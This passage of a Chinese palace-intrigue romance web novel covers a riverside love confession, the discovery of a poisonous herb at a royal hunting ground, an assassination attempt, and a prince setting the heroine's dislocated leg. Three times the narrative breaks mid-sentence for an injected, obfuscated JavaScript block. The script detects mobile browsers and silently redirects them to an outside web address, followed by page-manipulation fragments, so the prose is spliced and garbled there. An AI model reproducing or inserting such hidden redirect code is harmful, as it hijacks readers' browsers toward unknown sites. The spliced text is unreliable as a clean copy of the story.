回到营地,一群身着青绿褂子、肩背红木衣箱的大夫已经在营帐内等候着了。见到乐白回来,恍若惊起一群笼中飞鸟。众人纷纷上前把脉诊断,一时间帐内闹成一团,这会子出去一个白发老头,下一刻又钻进来一个黑发小童。杨柯和昌吉两人不懂医理,只能在边上干瞪眼,时不时地上去搭个手帮个忙。 过了几柱香的光景,乐白的伤口终于包扎完毕。杨柯也得以坐了下来。乐白视线落到她的脚踝处,关心道:“阿柯,你的脚是不是也受了伤?” 杨柯摆手道:“这算不得什么伤,过几日它自己便会痊愈。”不过是区区脚踝扭伤,实在犯不着小题大做。 乐白仍不放心,追问道:“真的不需要让大夫看看吗?我担心……” “快别念叨啦!”话还未说完,便被杨柯拦了下来,她眉眼弯弯地挤兑道,“要是惊动了太医,往后几日我非得在榻上躺成个木头人不可,那还怎么骑马撒欢儿?”她见乐白眉间愁云未散,又打趣道,“好姐妹有难同当!你伤了手,我扭了脚,不也是一种默契。” 闲聊几句后,安顿好乐白躺下,杨柯也走出了营帐。一阵微风吹来,可她心里清楚,这风吹不散她的忧虑,更吹不走躲在暗处的阴谋。 望着辽阔的草原,杨柯不自觉地卸去了满身思绪,抬步往草原深处走去。她躺倒在柔软草甸上,青草香沁入鼻尖,像是天地酿就的安神香。她舒展四肢,温热晚风掠过鬓角,舒服得不自觉阖上了双眼,任意识随着草浪轻轻摇晃。再睁开眼时,夕阳已渐渐沉入地平线,心底正感怅然,忽闻一阵悠扬笛音自远方传来,如潺潺溪水淌过心间。杨柯心头微动,起身循声而去,行至草原开阔处,便望见一人静坐于草地之上。 霞光照下,伯喻一身清辉,莹白若纱,毫不刺眼,就连最后一缕日光也被这抹银白吸引过去,软倒于其身,与他缠绕相依。杨柯看得呆了,竟忘了言语,只是挪着步子向他靠近。听到她的脚步声,伯喻回过头来,一道日光打在他的脸上,更衬出他眉眼间的清冽气韵,恰似初雪覆玉,温润莹泽又暗含柔光。 杨柯背着手,半带歉意道:“我好像又来搅和你的雅兴了。” 伯喻徐徐起身:“或许我在此地,就是为了等你。” 杨柯又惊又喜:“等我?你如何知道我会来?” 伯喻微微一笑:“既见君子,云胡不喜。此时你已经来了,不是么?”话音未落,他已款步上前,眸中柔光比天边晚霞更为动人,“乐白落马受惊,你看在眼里,想来不会好受。此般愁绪,或许只有草原才能纾解。” 杨柯想起半日前的惊险,低叹道:“是啊,从前只觉得朝堂的斗争还离我尚有一段距离,直到亲眼看到乐白今日在马上险些送命……”她手指不自觉地攥紧,“这一回我是真真切切地感受到了危险。原来所谓的明刀暗箭,从来不会与人客气半分。” 伯喻抬手轻轻按住杨柯紧绷的肩头,掌心温度透过衣料缓缓渗来,“你为乐白悬心,为无辜之人担惊后怕,这份赤诚真心,胜过任何阴谋算计。” 杨柯知道他在安慰自己,一半是甜蜜,另一半却是忧愁:“可是我不够聪明,看不出他人布下的陷阱,纵使一片真心,又有何用?只能眼睁睁看着自己在乎的人受伤。” 她见伯喻一时沉吟不语,懊恼着不该说这些话扫了兴致,正想开口圆场,掌间忽然一暖。伯喻修长的手指轻轻扣住她的指尖,唇角漾起温柔笑意:“跟我来。” 忽然的触碰让杨柯呼吸一滞,温热的气息顺着指尖传递至心田,瞬间将她的不安和憋闷化作了绕指柔的甜蜜和欢喜。 她任由他牵着手穿过蔓蔓青草,来到河边,“曾经我也同你一样,想要保护深爱的人,但却无能为力。” 杨柯朝他望去,那眉间的淡淡忧思很快被眼底的粼粼波光抹去,“后来我渐渐明白,困住人的从来不是力量的强弱,而是不肯转身的执念。” 杨柯疑惑道:“不肯转身?” 伯喻并不回答,而是伸手指向了一处:“你看这山中清泉,可曾因不能劈开山岩而自轻?”杨柯顺着他的手指望去,不远处的嶙峋崖壁上,几缕素白泉水蜿蜒而下,它们虽细若琴弦,但却从未间断,“我以为这种细流不过是大雨过后才冒头的,难道它们一直都在?” 伯喻颔首道:“它们一直都在山崖中静静流淌。经年累月,最终在崖底凿出了一道水痕。” 杨柯凝神看去,那崖底果真有一道青灰色的沟壑,在暮色里泛着晶莹的光泽。她惊讶地望向伯喻,伯喻接过她的目光,深沉的眸中露出了笑意。 “人和水似乎是相似的。”杨柯伸手接过泉水溅起的水珠,凉意顺着掌心漫上心口,“我娘总笑我是块实心木头,空有仗义的心,却没半点弯弯绕绕的心思。”她垂眸摩挲着衣角,“虽然我爹会安慰我,说我是‘水利万物而不争’,可我知道,娘说得没错,和那些聪明人相比,我能拿得出手的不过是股傻劲儿罢了。” 伯喻蹲下身,引着她的手浸入河流,“《诗经》说‘泾以渭浊’,可你看——”他挥手撩开浑黄水面,而后掬起一抔水,水质清澈如琉璃,“泥沙自会沉淀。就像你护住乐白那刻,不也用赤诚之心,让算计都落了空?” 杨柯还是拧着眉摇头:“可我总是想不明白,这世上谁不是攥紧算盘过日子?人们为了各自的利益争来争去,连顺手帮衬他人都嫌麻烦,还谈什么不争?”她垂首喃喃,“这种话总归是用来教化人的。” “不,阿柯,”伯喻缓缓道,“水从不会与顽石硬拼,但它记得每道暗礁的位置。真正的智者就如这河水,看似不争懦弱、绕路而行,实则将每道支流都汇聚成川。”他手腕忽然翻转,惊起的水花溅在她手背上,“你总觉得自己心思直白,可那些自诩聪明的人,又有几个能像你这般,永远保持清澈?真正的力量,从不在锋芒毕露之处。” 伯喻定定地看向她:“你的赤诚就是破除虚妄的明镜,算计者眼中的所有皆是棋子,而你看得见棋局外的人心。” 两尾小鱼从交叠的指缝中游过,酥酥麻麻的感觉直窜心头,杨柯望着粼粼波光在他眼底碎成星辰,只觉连日来心间淤积的浊气都被满眼的清水给卷了去,心口不由得腾起簇簇温热,像是被夕阳晒透的青草,在晚风里舒展得恣意又畅快。 “伯喻,原来在你眼里,我竟是这样的人。”杨柯双手交叠在膝上,仰起脸痴痴地望着对方,一双眸子蒙着层细碎的水光。 伯喻捻起一株水草,嗓音裹着河水的清凉漫过来:“野有蔓草,零露瀼瀼。有美一人,婉如清扬。”他忽然抬手,草叶轻轻拂过她发烫的耳垂,“邂逅相遇——”尾音未落,杨柯的视线撞进他含着笑意的眼底,“与子偕臧。” 烂熟于心的情诗此刻从他的唇齿间淌出来,竟比马奶酒还要醉人。杨柯只觉得自己化作了他手中那株青草,魂儿随着他的指尖缥缈四散, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15399358|165772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在风中浮浮荡荡。 只听他低沉的嗓音再次宣布道:“阿柯,对我而言,你就是我珍视的一切。” 如此简单的一句话简直令人心折,杨柯的脑中已被震颤得出现了短暂的空白,不过空白过后便是极大的欢喜。 可她仍感到犹豫,长久以来积压的烦恼此刻冒了出来。她转念又一想,既然伯喻已经挑明,自己也无须再把担心咽回肚子里,于是直言道:“为何是我?你身边既有芮伊这样的绝世美人,还有公孙大人那样的才女,我哪样都比不过她们呐。” 伯喻直截道:“弱水三千,我只取一瓢饮。她们无论怎么好,都和我无关。” 杨柯心里的快乐溢得满了出来,但嘴里却嘟哝着“真是没羞没臊”,往旁处走去,不敢看他。伯喻上前拉起她的手,稳稳当当地握在手心。 杨柯抬眸与他对视,那双棕色的眸子里满满都是自己。正看得怔忪,忽见伯喻抬手探向颈间,似要去摘什么,杨柯正感奇怪,下一刻眼前便出现了一双羊脂玉坠,两块玉在暮色中泛着珍珠母般的光泽,玉尖上还点着一点朱砂沁,颜色恰似自己小臂内侧的绯红胎记。 “居然是月牙!”杨柯脱口而出。 见她脸上又是惊喜又是探寻,伯喻笑着肯定道:“没错,它的造型就是依凭你手臂上的月牙来设计的。” 杨柯奇道:“工匠如何知道我胎记的形状?” “我将你的月牙原模原样地画了下来,交给了他。”他屈指轻弹月牙凹面,指尖点上那抹朱红,“匠人寻遍了整座玉山,才找到这脉会流泪的玉髓。” “会流泪的玉髓……”杨柯低声呢喃,“伯喻,这份礼物,我很喜欢。还记得李太白写‘小时不识月,呼作白玉盘’,这玉坠可不就是月亮凝成的?” 伯喻欣然一笑,指尖轻挑,环臂将她拢入怀中,他身上独有的松香气息混着体温漫过来,羊脂玉坠顺着她颈间滑落,玉坠贴到胸口上时,还带着他身上的温热,“戴着它,就当我把月亮摘给你了。” 杨柯指尖捏着另一枚玉坠,也学着他的样子踮脚替他戴上:“你一个,我一个。”她仰头笑得眉眼弯弯,玉坠在两人胸前轻轻相碰,发出细碎的清响,“李太白说错了,月亮才不是盘子,是你我这样凑成的一对儿。” 伯喻宠溺道:“阿柯说得没错,月亮正是你我凑成的一对。” 杨柯呆呆地盯着伯喻,看着他的嘴唇翕合,想象着那两片唇瓣覆到自己嘴上时,会是什么感觉。一个不留神,嘴巴微微蠕动了一下。 伯喻看在眼里,笑道:“你又想到什么了?” 杨柯倒也不羞,眼波流转间尽是坦然:“依着话本里的桥段,接下来你就该亲我了。” 伯喻眼底笑意如春水漫涨,嗓音裹着若有若无的暧昧:“原来在阿柯心里,我早该扮那戏文中的痴儿。”他抬手轻划过她唇瓣,渐渐俯下身子,杨柯仰头望着他近在咫尺的眉眼,喉间心跳几乎要撞碎齿关。她心中刚做好准备,却见他忽然停住,指腹移向她唇角,声音低得能揉碎夜色,“那我偏要改改这俗套戏码。” 杨柯听言一愣,心里升起一丝失落,正欲开口说话,下一刻却被他吻住了唇。伯喻的吻温柔而又霸道,辗转碾磨间,像是要把整个草原的月光都渡进她心口。 杨柯在缠绵中微微睁眼,她瞧见月光从草叶间漏下,恍惚间她竟觉得,此刻满地的芳草比记忆中的任何时候都要青翠葱茏。 30.紫茎草 晨雾未散的小径边,冒出几株桂花苗,隐在绿叶底下,神秘又新鲜,因是初长出来,又藏不住,露出小小一截淡黄,很自觉地在暗处细心舒展。忽然,半空中飞来一只刚破茧的蝴蝶,轻轻地停在了花瓣之上。杨柯见了心里连连欢喜,很好,每朵花都有了蝴蝶,她也有了爱人。 杨柯继续抬步前行,转过弯时,马场的喧闹声隐约传来。章可馨正踮着脚尖,素手轻抚白马鬃毛,腕上珠串在阳光下折射出细碎的光:“粮草可都按时喂了?” 她身后的驯马师躬身回道:“今晨刚刚喂过。” 杨柯听到今晨,嘴角不自觉地漾开一个笑。更鼓沉沉敲过三更,还在睡梦中的她被一阵熟悉的叩门声惊醒。掀开牛皮帐帘的瞬间,秋季草原上特有的寒风裹挟着星屑扑面而来,“怎么今日这么早?”杨柯从榻上起身,为伯喻拂去肩上的白霜。 “阿柯,我要去滁州一趟。”伯喻轻轻点亮案头烛台,拉着她的手坐下,“父皇急召,今日卯时便要启程。走之前,我想再来看看你。” “为何要去滁州?” 暖黄光晕里,他眼底血丝密布:“滁州洪灾未平,霍乱又起,沿途村镇已经十室九空。” 杨柯瞥见伯喻袖中露出的半截密报,边缘已被指腹摩挲得发皱,她低叹一声,又担忧道:“可是……你会不会有危险?” “有你挂念,自然就不会了。”伯喻伸手将她散落在肩头的发丝别到耳后,指腹温度顺着耳垂传递全身,“阿柯,等我回来。”这句话说得极轻,却像烙铁般烫在杨柯心口。 “二哥你看,伯喻的马竟然还在此处。”章可馨巧笑着指着一匹青色骏马,她的声音将杨柯拉回了现实。 杨柯一听这马属于伯喻,想都没想便笑着赞叹道:“好漂亮的马,看起来油光水滑的。” 章可馨顺势解释道:“它是伯喻的青骢马,名唤随风。” 杨柯继续称赞道:“来去随风,颇有主人的风范。” 一旁静静看着的宇文潇忽然冒出一句:“你是不是喜欢七哥?” 杨柯顿时被问得哑巴,还没等她开口回应,便听宇文拓摇着折扇斜倚过来,长眼弯弯如狐:“老十这话问得可算蹊跷,哪有姑娘厚着脸皮追得郎君满世界跑的?就算杨大人春心萌动,她也不好意思承认呐。”说着朝杨柯使眼色,“你听我说得对不对,杨大人?” 杨柯知道他明摆着在拿自己开涮,但心中倒也不气,“端王殿下说得,倒像是比我自己还清楚。”她抬眸迎上宇文拓促狭的目光,又转头看向宇文潇好奇的眼神,无奈道:“你们这些公子哥儿,整日就爱编排这些无中生有的传闻取乐。若要较真,倒显得我不解风情了。” “哪里是无中生有?”宇文拓故作讶异,但脸上仍是惯常的轻佻模样,“可别怪我多嘴,这几日我总是瞧见你们两人跑得老远,也不知道是去做甚,难道是我眼花了?”他一面说着,一面朝着章可馨和宇文泰使眼色。 章可馨了然微笑,而她身侧的宇文泰神色冷淡,仿佛这些与他全然无关,目光只凝在林场的方向。 云昌吉挠着脑袋,一脸困惑地望向杨柯:“阿柯,平日里也没见你与宣王殿下往来,什么时候你们走得如此近了?” 宇文拓摇着折扇凑了过来,继续煽风点火:“云兄这榆木脑袋,年轻男女互相倾慕不是自然而然的事儿?” 云昌吉被这话点醒,眼睛一亮,对着杨柯脱口而出:“可你不是喜好女……”杨柯眼疾手快,朝他背上重重一拍,话音戛然而止,云昌吉猛地呛咳起来,“昌吉昨晚喝多了吧?净说胡话!” 云昌吉继续开口:“上次在紫……”杨柯抬手又是一掌,云昌吉的眼泪都要迸出眼眶,众人见状纷纷侧目,杨柯顺势干笑道:“啊哈哈,昌吉你也真是的,把这事说出来干甚?”话音落下,一阵马蹄声如急雨骤至,侍卫翻身下马,单膝跪地:“启禀殿下,林场有发现!” 宇文泰闻言抬眸,眼光如冷电,“什么发现?” “郡主落马处百步外,发现一束异草,此草从未在林场出现过。据医官所言,这草茎的纹路、汁液的色泽,都与典籍记载的柔然紫茎草极为相似。可他们未曾见过真物,实在不敢断言。”这话惊得众人脸色骤变——杨柯那日推断并非空穴来风,可是紫茎草向来生长于干旱之地,怎会出现在这片暖湿草甸? 章可馨凝眉道:“果然是有人蓄意谋害。” 宇文泰下令道:“备马,即刻去围场!” 章可馨慌忙上前半步,担忧道:“二哥,毒雾还未散尽,要不等到医官回来了再去?” “不必。”宇文泰接过侍从递来的缰绳,利落地翻身上马。 “殿下!”杨柯抢前半步,此事一直横在她的心头,听到侍卫的传报后,她也煞是不安。 宇文泰提缰回视她一眼,日光在他眉眼间投下冷硬阴影,杨柯顺势道:“我曾在柔然见过紫茎草,或许能帮上忙。” 宇文泰眉间凝滞了一瞬,终于点头:“上马。” 杨柯接过缰绳,翻身上马,跟着宇文泰的队伍一齐往林场赶去。 到了乐白那日坠马之地,那里已经被层层围住,几个身影正佝偻着蹲在枯黄的草地上,手中银针在残草间来回比划。见宇文泰勒马靠近,医官们慌忙起身,纷纷赶了上来。 “启禀殿下,这附近散落着不少异草汁液,”为首的白发老者疾步上前,手指指向一处枯黑草甸,暗紫色汁液附着其上,将触及的草木尽数染成焦炭色,“方圆十丈内,唯有此处残存着半株异草茎干。” 宇文泰盯着焦黑草甸,玄色衣袍被林间冷风吹得猎猎作响:“能断定是什么毒物?” 老者道:“依臣的经验,应当是西域的紫茎草。十年前此草在大夏境内灭绝,如今……” 他喉结滚动,声音陡然发颤,“如今茎叶还泛着妖异紫光,毒素怕是比记载中烈了十倍不止!” 宇文泰忽然侧首,目光扫向杨柯。杨柯顺势缓步上前,指尖悬在残茎上方三寸处,熟悉的腥甜气息混着腐草味钻入鼻腔,暗紫色汁液在日光下泛着诡异的冷光,正是记忆中在柔然沙漠里见过的模样,“是紫茎草,” 她直起身,补充道,“而且是成年植株的主茎。” 宇文泰对老者问道:“除了毒性增强,还有别的蹊跷?” “紫茎草绝迹十年,如今竟出现在皇家围场,绝非偶然!”老者一双浑浊黄眼盯着焦土上残存的紫黑色汁液,“此草生长在西域边陲,唯有前线军道能辗转流入。更可怕的是——”老人声音颤颤巍巍,声量也小了下去,“郡主坠马的可是陛下御赐的踏雪乌骓,有人敢对皇家坐骑下手……” 宇文泰骤然截住他的话:“够了。”他缓缓抬眼,扫过众人的目光带着实质威压,“此事若有片语流出,你们当知后果。” “老臣明白!”老者躬身负命,待他再抬头时,宇文泰已飞身上马,“其余人随本王继续搜查!” 杨柯也跟着上马,随着队伍继续往前。她紧握缰绳的掌心沁出冷汗,抬眼望向宇文泰紧绷的脊背,心中不免有些慨叹。既然紫茎草只能从前线军道流入,那这嫌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15399359|165772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 疑岂不是分明指向兵部了?想到此,杨柯不禁感叹,吏部这招借刀杀人不可谓不狠,就算宇文泰能顺藤摸瓜揪出毒草源头,兵部也势必因监管不力遭御史弹劾。 行至一处,宇文泰命令众人分散搜查。杨柯只好乖乖跟在他身后,又瞥见他眉间紧簇,薄唇紧抿,于是试探问道:“殿下,你还好吗?” 宇文泰狐疑侧首,朝她漠然一瞥,而后继续往前。 杨柯暗自嘀咕:“怎么还不理人呢?” “你的一腔热情若无处安放,不妨去关心尚在养病的乐白,”他语气不咸不淡,说完还顿了顿,“——或者身在滁州的老七。” 杨柯这几日有了爱情滋润,心情自然不错,此时虽听他嘲讽,也不至于要像往常那般争锋相对,于是和声和气地道:“多谢殿下提醒。” 可宇文泰倒是冷哼一声:“不必谢我。更何况,我说的话,你会听?” 杨柯顿时感到奇怪,可她也不做多想,兀自咕哝道:“那倒是,你这种人向来不安好心。” 宇文泰陡然定住脚步,朝她问道:“不安好心?那你以为,宴席那晚我是为了阻止你爬上龙床才出言插手的?” 杨柯语气平淡:“难道你不这样想么?” 他又冷哼一声:“原是个沽名钓誉之人,老七怎会看上了你?” 杨柯听他提起伯喻,不禁怒道:“殿下在泼人脏水这方面也毫不逊色!”这一番鸡同鸭讲,二人之间还是剑拔弩张了起来。 宇文泰回呛道:“是么?分明是气我坏了你的好事吧。” 杨柯忽然一怔,这才明白他的意思,愤然道:“谁稀罕进宫当什么皇妃,你们的皇宫和监牢有什么差别!我恨不得现在就出去!” 宇文泰反倒笑出了声:“哦?看来我没帮倒忙了?” 她转念一想,自己真是误会他了,于是温言道:“你真是为了帮我?” 宇文泰斜了她一眼:“年纪轻轻,许配给谁不好。”说完便拂袖而去。 杨柯当即问道:“这话什么意思?” 他冷冷的声音从前方传来:“没什么意思。” 杨柯快步上前,好不容易追上他,喘着气道:“你怎地走这么快?” 他侧首一瞥,平静道:“是你走得太慢。” 杨柯忍不住揶揄起他来:“是啊,全天下的男人,就属羲王殿下腿最长,不仅能伸出皇宫,还能探进朔州呢!” 宇文泰闻言,蓦地定住脚步,缓缓朝着杨柯倾身靠近,在三寸之处停了下来,那双黑曜石般的眸子泛着幽冷光泽,温热的鼻息呼在她的脸颊上,带来一阵酥麻的异样。杨柯愣在原地,只听他一字一句地道:“我怎敢跟杨姑娘相比,命好之人,即便脚步拖沓,还有他人在身后周全。但我可没有,只好走得快些了。” 他话中之意无非讥讽伯喻对自己的情谊,杨柯愠怒道:“有人关心我与你何干?” 宇文泰嘴角扯起一抹冷淡的弧度,淡淡回道:“确实与我无关。所以,你要是走得慢,我可没那闲工夫等你。”说完,便施施然离去。 杨柯看着他的背影,心里不痛快,也不想跟上去,索性自己慢慢悠悠地荡在后头走。 没走几步,忽听得远处水声响亮,她心下大喜,赶紧向前。果然,正北方一条瀑布从高崖上直泻下来,轰轰作响,抬眼望去,犹如银河倒悬,珠玉四溅。山林中竟有如此美景,杨柯正感满心欢喜,忽然身后不远处爆出一声呼啸,她转头一看,只见一个黑衣人从树丛中暴跳而起,手持长剑朝着宇文泰突袭而去! 31.坠崖 “小心!”杨柯大喝一声,宇文泰闻声侧首,手腕刚刚攥上剑柄,一道寒光便扑面而来。他双足踏镫,腾地飞起,避开了来势汹汹的长剑。 杨柯见他身在半空无处借力,急忙扯下马缰挂着的绳索,用力一抛,如灵蛇般缠住三丈外古松,她纤腰一拧,借力荡起,鞋尖顺势踢飞两支飞镖,“抓绳子!”说话间已借势荡到宇文泰身侧。 黑衣人也去势加快,朝着二人呼呼砍去。 宇文泰抓起绳索,一个凌空拧身,靴底在马鞍借力一蹬,直踹黑衣人面门。那人举刀格挡,却被他顺势压着刀背往下一拖,刀锋顿时切入自己左肩。惨叫声中,宇文泰抬膝重击对方手腕,夺过长刀反手掷出,将五步外的另一名刺客钉在树干上。 电光火石间,却见第三支飞镖忽地飞出,直取宇文泰后心,杨柯瞳孔骤缩,几乎本能地合身扑上,胸前玄铁长弓“铛”地与那箭头迸出三尺火星,震得她虎口发麻,喉头腥甜。 “该死!”宇文泰怒喝声中透着三分焦急,“杨柯,让开!”话音未落,他一把将她扯到身后,玄色衣摆卷着凌厉罡风。就在此时,斜刺里又窜出两名黑衣人,手上弯刀泛着凛凛寒光。宇文泰左掌凌空拍出数道气劲,将逼近的暗器震得飞落;腾出右手抽剑横劈,两刀相撞迸出火星。 置身于打斗中的战马受了惊,扬蹄嘶鸣着原地打转,宇文泰旋身拽住缰绳借力跃起,靴底重重踹向此人面门。 忽见寒光转向,另一刺客如鬼魅般掠过宇文泰身侧,弯刀带起的劲风刮得杨柯鬓发倒竖。她旋身急退,幸好还有长弓横格在胸前,堪堪挡住这致命一击。可还没等站稳,杨柯忽感脚踝剧烈作痛,脚腕一摆,往前一滑,整个人顺着陡峭山坡翻滚而下:“啊——”她伸手抓向身旁灌木,却只攥住满手碎叶,恍惚中听见上头传来宇文泰的呼声。 碎石混着枯叶擦过脸颊,杨柯一路滚到坡底,右腿结结实实与一块巨石相撞。剧痛让她欲哭无泪,她张了张嘴,就连痛呼都卡在喉咙里,只能蜷着身子簌簌发抖。她顿时万分懊恼,气自己太过鲁莽。 玄金长靴碾碎枯叶的声响由远及近,宇文泰的身影笼罩下来:“伤到哪里?”他蹲在她身前,声音竟有一丝慌乱。 杨柯举起颤抖的手,指了指肿的发紫的右腿,喉间挤出气音:“那些刺客呢?” “不用操心,翔宇他们已经解决了。”宇文泰扯开她染血的裤脚,低头察看她腿上的伤势,杨柯疼得浑身抽搐,“摔得不轻,脱臼了。” 杨柯心里一沉,把脸埋进袖子里,两肩一耸一耸。 宇文泰以为她疼得哭了,手掌覆上她的发顶,柔声道:“别哭。在这儿等我。” 杨柯一愣,找树枝来干什么?等她抬头时,宇文泰已经折返,手里多了几根足足有手腕粗的树干。 “忍着点,”他将树干垫在她腿侧,“痛了此刻,之后便会好很多。” 杨柯这才反应过来他要为自己接骨,当即收腿想要逃跑,但却为时已晚:宇文泰已经一手捉住她的腿。另一手抓起她的脚腕,两手用力一推,一阵比撞击石头的痛感还要大十倍的痛苦顿时袭来。杨柯疼得眼冒金星,晕厥了一阵后才慢慢恢复清醒,而宇文泰竟然脱下了外衣,扯下自己内衬的软缎,撕成宽窄不一的布条,用方才捡的树枝固定住她的腿,再用布条包扎起来,动作十分娴熟。 杨柯歪着脑袋瘫在草堆里,半合着眼,气若游丝地笑道:“殿下的动作好生熟练。” 宇文泰的指尖顿了顿,“杨姑娘,我可不是豢养在宫里的金丝雀。”他凝神注视着手上动作,继续将布条缠得紧实,“我从十四岁便开始进军营,断骨流血的场面,可比这惨烈百倍。” 许是疼得意识混沌,杨柯竟撑着胳膊支起身子,学着宫里娘娘的腔调,拖长了尾音道:“小泰子——”她伸出指尖,虚点在他肩上,“本宫瞧着,你倒还有几分本事。” 宇文泰含笑抬眸:“多谢娘娘夸奖。”手上却突然发力收紧,杨柯顿时疼得吱呀乱叫。 等她安静了下来,宇文泰低沉轻笑道:“这话,原该是我来说。”他伸手擦过她汗湿的额头,难得收起了锋芒,“脱臼之痛钻心蚀骨,别说女人,就连寻常男子也承受不了。”他目光扫过她咬出血痕的下唇,“杨姑娘,你确实令人刮目相看。” 杨柯扯出个带泪的笑,学着他方才的语气:“多谢殿下夸奖。” 宇文泰利落地系紧最后一道绷带,掌心贴着杨柯的小腿轻轻按压,确认树枝稳固后,才揽住她的腰,将她扶向石壁,“靠着墙,这样血脉能顺些。” 杨柯倚着微凉的石壁,望着他垂眸的侧脸,夕阳的霞光为他的轮廓镀上一轮柔光,与记忆中那个冷峻的羲王简直判若两人。她感觉自己见了鬼,于是鬼使神差地问道:“我几时能走?” 宇文泰没应声,弯腰拾起两枚碗口粗的树干,指尖叩击两声:“试试。”见杨柯疑惑地瞅着自己,又屈指弹了弹她发顶:“拄着走。” “这……能行吗?”杨柯迟疑着接过树干,粗糙的纹路蹭得掌心发痒。可当她试着撑起身子,两根木杖稳稳支住重心时,眼底顿时一亮,“真的可以!那我们是不是……” “你知道回去的路?”宇文泰突然打断她,凌厉目光直刺过来,“这山林地势复杂,就算有双好腿都未必找得到出路。更别提……”他的视线落在她肿得发亮的脚踝上,“瘸着走。” 杨柯这才惊觉,他们本就离原来出发的地方跑了将近一个时辰,又在混战中偏离路线,如今早不知身在何处。况且离瀑布这么近,水流湍急,响声巨大,就算是吼破了嗓子也没人听得见。 宇文泰撩袍坐下,往后一靠,懒懒道:“我也不知道路。”语气平淡得像是在说今日的天气。 杨柯惊呼:“那我们岂不是被困在林子里了?” 宇文泰凉凉道:“眼下只能等援军,或是自己寻路。”他望着暮色渐浓的山谷,喉结微动,“不过看这地势……” 杨柯垂眸盯着自己肿得像馒头的右腿,“可我的腿……”她神色为难,又眨着眼睛无辜地看向对方。 宇文泰眉峰一挑:“怎么,想让本王当你的脚力?”偏头时,发冠上的金饰在夕阳下晃出刺眼亮光,却掩不住他眼底跳动的促狭。 杨柯立刻咧嘴一笑:“殿下要是愿意,我也不嫌弃。” 宇文泰嗤笑一声:“得了便宜还卖乖。”他扭过头去,猛地起身,玄色衣摆扫过满地碎石,他抬脚踢开挡路的枯枝,背对着她丢下句,“先熬过今晚,明日再议。” 杨柯怕他要扔下自己不管,忙问道:“你要上哪去?” 他头也不回:“去找点吃的,不然今晚我们俩得饿死在这。” 宇文泰离开后,杨柯靠着石壁缓过气来,才发觉冷汗浸透的里衣已被体温焐干。一阵微风吹来,裹挟着艾草和松针的清香,让人神清气爽。 很快,宇文泰手里拎着一串野果子走了回来,“尝尝?”他随手抛来两颗,果子砸在杨柯膝盖头,“山莓,酸甜口的。” “好多了,谢谢你。”杨柯捏着果子,忽然认真的看向他。 听到她突然的道谢,宇文泰眼底露出讶异,旋即又恢复了平日里的冷淡表情:“从你嘴里抠出个谢字,比我单挑十个刺客还难。” 毕竟是真心感谢,杨柯并不理会他的嘲讽,继续道:“若不是你追下来,我怕是早被这山崖吞了。”她声音很轻,却十分诚恳,“况且,还连累你一起被困,怎么说都是我的不是。” 宇文泰闻言挑眉,扬唇一笑,朝她缓步逼近:“既然是拖累,那你打算如何报答?” 杨柯突然挺直脊背:“等出去后,我定当重金答谢。” 宇文泰语气忽而淡下来:“重金就不必了。” 杨柯接道:“那就换别的。” 他继续问道:“换成什么?” 杨柯未料他竟真的应承下来,脸上一愣,而后郑重说道:“等我们出了山林,你要什么都行。今日算我欠你一个人情。” “这话,本王可记下了。”说着他脸上浮现出一丝邪笑。 杨柯下意识护住胸口,结结巴巴道:“但……但你不能要我的命,也不能……” 宇文泰抬手往嘴里扔进一颗山莓,泻出一声嗤笑:“放心,我对你没兴趣。” 杨柯松了口气:“那就好。” 接着一阵沉默,宇文泰忽然举起长剑,冷光一闪,他的手臂上多出一道裂口,鲜血瞬间汩汩流出。 杨柯倒吸一口冷气:“宇文泰你……” 宇文泰垂眸看着汩汩涌出的鲜血,冷笑中带着几分嘲讽:“盯着我做什么?” “你莫不是觉得我们被困死在这儿,彻底疯了吧?!”杨柯挣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15406695|165772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 扎着想爬起来,却又笨重地跌回原地,只能伸出颤抖的手去够他染血的衣袖,“有话好好说,犯不着自残啊!” 宇文泰对她漠然一瞥:“不必管我。” 杨柯呆望着他,喃喃道:“原来我爹没说错,世间真有发疯到自虐的疯子。” “疯子?”宇文泰轻笑一声,“我可不是疯子。” “殿下,拿刀划伤自己这种事,一般人可干不出来。” 他的额头上冒出了些细汗:“我是为了打消父皇的猜忌。” 杨柯听得一头雾水,宇文泰继续道:“乐白落马一事,幕后指使者到底是谁,目前还未查明,但他动手脚的那匹马是御马。整个马场都由我控制,毒草还来自前线,如今出了事,你说究竟应该怪谁?” 杨柯眼角跳了跳,顺着他的话继续道:“你的意思是,此人想要栽赃陷害你,引起陛下疑心?” 宇文泰擦拭剑身的动作微微一顿:“我不能肯定,但戏码得做足了。” 杨柯仔细一想,他愿意出手解救自己,也是为了让陛下以为他遭受暗算,从而减轻疑虑。 她接着问道:“难道方才的刺客也是你故意指使的?” 